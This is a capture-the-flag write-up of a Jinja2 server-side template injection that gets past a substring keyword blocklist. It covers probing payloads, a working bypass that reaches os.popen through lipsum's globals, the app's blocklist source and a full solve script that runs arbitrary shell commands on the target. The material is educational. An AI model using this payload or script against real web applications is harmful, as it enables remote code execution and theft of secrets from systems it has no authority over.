Greeting Card Jinja SSTI past a substring blocklist

web
flag L3m0n{d24af30c605457aeb1535d240ba5b191}

A live instance with one form field. The blurb: the marketing intern "heard about SSTI once and added a filter, so they're sure it's fine." Famous last words.

Hint

The filter only looks at the text you actually send. Jinja can assemble forbidden words after the filter has already gone home for the day.

First look

?name=Alice comes back as Hello, Alice! Welcome to L3mOn Corp., and ?name={{7*7}} comes back as Hello, 49!. Real Jinja, no sandbox around it. Sending one banned word per request and watching the response splits the vocabulary into two camps:

  • blocked: config, request, os, popen, system, import, eval
  • still rendered: __, class, mro, subclasses, globals, attr, lipsum, self, cycler

Blocked words return a normal 200 with a red Blocked keyword detected!. Dunders pass on their own but the whole words don't, which says the check is purely textual.

Pitfall

My first working-looking chain, {{ lipsum|attr('__globals__')|... }}, got blocked too - which means the full dunder spelling of each attribute name is on the list, not just the bare word. The fix is the obvious one: never let those characters sit adjacent in the request body.

Getting past it

Jinja's ~ concatenates strings at render time, so ('_'~'_')~'glob'~'als'~('_'~'_') evaluates to __globals__ but never appears as a contiguous substring in the request:

jinja
{{ lipsum|attr(('_'~'_')~'glob'~'als'~('_'~'_'))|attr('get')('o'~'s')
   |attr('po'~'pen')('cat /tmp/flag.txt')|attr('read')() }}

Insight

lipsum is jinja2.utils.generate_lorem_ipsum, and its module globals already carry os - a free pass that skips the usual __subclasses__() walk entirely.

Pitfall

You cannot chain .read() straight onto a filter call - |attr('popen')('id').read() is a Jinja syntax error. The read has to go through another filter, |attr('read')(). That cost me one request to learn.

Reading the app back

With a shell I pulled the source. The denylist is literally commented:

python
1BLOCKLIST = [
2    "config", "import", "os", "popen", "system", "subprocess",
3    "__class__", "__mro__", "__globals__", "__subclasses__",
4    "__builtins__", "request", "open(", "exec", "eval", "read(",
5]
6# Naive keyword blocklist - substring match on the raw, lowercased
7# input. Meant to stop copy-pasted SSTI payloads, not a real sandbox.

Note

open( and read( are on the list with the trailing paren, which is exactly why |attr('read')() slips past while a literal read( in the body does not. Small detail, whole bypass.

The entrypoint explains where the flag lives:

bash
1: "${FLAG:?FLAG is required}"
2printf '%s\n' "$FLAG" > /tmp/flag.txt
3exec "$@"

The app runs out of /tmp, so the env var is also just sitting in a file next to it. Both reads agree:

session
$python3 solve.py "cat /tmp/flag.txt"
L3m0n{d24af30c605457aeb1535d240ba5b191}
 
$python3 solve.py "printenv FLAG"
L3m0n{d24af30c605457aeb1535d240ba5b191}
Show the full solve script
python
1#!/usr/bin/env python3
2"""Greeting Card - Jinja2 SSTI past a substring denylist.
3
4{{ customer name }} is rendered with render_template_string(). The denylist
5is a lowercase substring check (config, os, popen, system, import, eval,
6__class__/__mro__/__globals__/__subclasses__/__builtins__, request,
7open(, exec, read(). Build every blocked token with `~` concatenation and
8reach os through lipsum's module globals.
9
10Usage: python3 solve.py "<shell command>" [base-url]
11"""
12import re, sys
13import urllib.request, urllib.error
14
15DEFAULT_URL = "https://<instance>.l3m0nctf.xyz/"
16
17
18def fetch(url):
19    r = urllib.request.Request(url)
20    try:
21        with urllib.request.urlopen(r, timeout=20) as resp:
22            return resp.read().decode(errors="replace")
23    except urllib.error.HTTPError as e:
24        return e.read().decode(errors="replace")
25
26
27def payload(cmd):
28    import urllib.parse
29    tpl = ("{{ lipsum|attr(('_'~'_')~'glob'~'als'~('_'~'_'))"
30           "|attr('get')('o'~'s')"
31           "|attr('po'~'pen')(%r)|attr('read')() }}" % cmd)
32    return urllib.parse.quote(tpl)
33
34
35cmd = sys.argv[1] if len(sys.argv) > 1 else "cat /tmp/flag.txt"
36base = sys.argv[2] if len(sys.argv) > 2 else DEFAULT_URL
37out = fetch(base.rstrip("/") + "/?name=" + payload(cmd))
38m = re.search(r"L3m0n\{[0-9a-f]{32}\}", out)
39print(m.group(0) if m else out)